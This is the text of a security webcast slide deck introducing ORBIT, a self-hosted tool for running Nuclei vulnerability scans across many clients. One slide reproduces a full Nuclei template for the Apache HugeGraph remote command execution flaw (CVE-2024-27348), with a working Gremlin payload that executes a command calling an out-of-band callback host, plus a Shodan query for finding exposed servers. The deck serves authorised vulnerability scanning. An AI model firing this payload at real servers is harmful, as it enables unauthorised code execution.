
Introducing
Webcast
scan targets and clients at scale
w/Ralph May

Agenda

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
1
2
3
4
5
5
Introduction

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Black Hills Information Security

What is the antisoc

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
YouR Friendly Neighborhood APT
What if we could red team your company all year. How would that affect your security?

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
YouR Friendly Neighborhood APT
- Initial Access
- Assumed Compromise
- Post Exploitation
- Purple Team
- Scanning

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Scanning
- Vulnerability Scanning
- Data Breach Analysis
- Attack Surface Management (ASM) Light

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Vulnerability Scanning (options)
- Nessus
- Nuclei
-
Qualys
- Many more..

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Vulnerability Scanning (First)
- Enumerate the attack surface
- Domains
- IP
- Services
- Ports

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Vulnerability Scanning (NeedS)
- Constant Scans
- Actionable Data/Findings
- Scalable/Multiple customers
-
History
-
Control

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
build or buy
- Do the current options meet your needs.
- Cost is a factor
- Value for the customer
- Value for the team
- Customization
nuclei

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
if you take nothing from the webcast go run nuclei

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
what is it
- High performance vulnerability scanner
- Simple YAML vulnerability templates
- Supports multiple protocols like TCP, DNS, HTTP, SSL, WHOIS JavaScript
- Ultra-fast parallel scan processing and request clustering.

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
CLI
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.8
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /Users/ralph/nuclei-templates
[INF] Current nuclei version: v3.3.8 (latest)
[INF] Current nuclei-templates version: v10.1.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 154
[INF] Templates loaded for current scan: 7607
[INF] Executing 7425 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 182 unsigned templates for scan. Use with caution.
[INF] No results found. Better luck next time!
Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
template
id: CVE-2024-27348
info:
name: Apache HugeGraph-Server - Remote Command Execution
author: DhiyaneshDK
severity: high
description: |
Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerable to a remote command execution (RCE) vulnerability in the gremlin component.
reference:
- http://www.openwall.com/lists/oss-security/2024/04/22/3
- https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authentication
- https://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9
- https://github.com/Zeyad-Azima/CVE-2024-27348
- https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-27348
- https://nvd.nist.gov/vuln/detail/CVE-2024-27348
classification:
cve-id: CVE-2024-27348
cwe-id: CWE-77
epss-score: 0.00045
epss-percentile: 0.15047
metadata:
verified: true
max-request: 1
shodan-query: title:"HugeGraph"
fofa-query: title="HugeGraph"
tags: cve,cve2024,hugegraph,rce,apache
http:
- raw:
- |
POST /gremlin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{{interactsh-url}}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(header, "application/json")'
- 'contains(body, "inputStream\":")'
condition: and
# digest: 4a0a004730450221008578493cfb808436d459d2ccb291e869a96890bc1073b44ba502680294d2a06602200ba6baa9516109d23319e018aee1d92b35ea91dc9b6c1c1c1a8ffe673f471f3f:922c64590222798bb761d5b6d8e72950
Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
why did we choose it
- Results (High findings that were exploitable)
- Cost
- Speed
- Customizability
The problem

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
NUCLEI Scanning at scale
- One Consultant == Several Clients
- Control Cost
- Highly Customizable
- Expanded IP Space

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
CI/CD
- Use Ansible / Terraform
- Use with CI/CD to call scans
- Save Output to a S3 Bucket
- Highly Scaliable / One VM per scan
- Integrate with Jira for Deploying and Results

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
CI/CD Problems
- All code no interface
- No history
- State of Saved Findings
- Lacked a database
- No way to search though findings
- Better then manual scans but no data metrics

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Next steps
- Build a web application
- Simple User Interface
- Allow for group think
- Scan at scale with no code experience
- Search though data visually

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
what about project desicovery cloud
- High cost (Pass to Customer)
- Black box (what ip address did we use)
- Customer data
- We tested it. It worked but some times it would just fail.

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May


Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
what is it
- Nuclei Scanning at scale
- Self Hosted
- Muti-User
- Muti-Cloud
- Simple Web Interface

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
diagram





S3 Bucket
Scan1

Scan2


SSH/API

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
tech stack
- Golang Pocketbase
- SQL Light DB
- Svelte Frontend
- Ansible
- Terraform
demo

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
May the Demo Gods Bless me

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Release
- Open Source
- Will be on Github Soon
- Cost $ Free
- Active Development
- Using it at ANTISOC
- Beautiful Docs
Conclusion

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May

Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Recap
- Scanning at scale is hard
- Nuclei is highly customizable
- Value in building vs buying
- To deliver you have to build tools that allow you to work as one.

questions
Webcast
Introducing ORBIT, Scan Targets and Clients at Scale w/ Ralph May
Orbit
By mwgroup
Orbit
Explore the fascinating world of vulnerability scanning and APTs! Discover innovative solutions like NUCLEI, delve into CI/CD challenges, and see a live demo. Join us for insights that could transform your cybersecurity approach!
- 153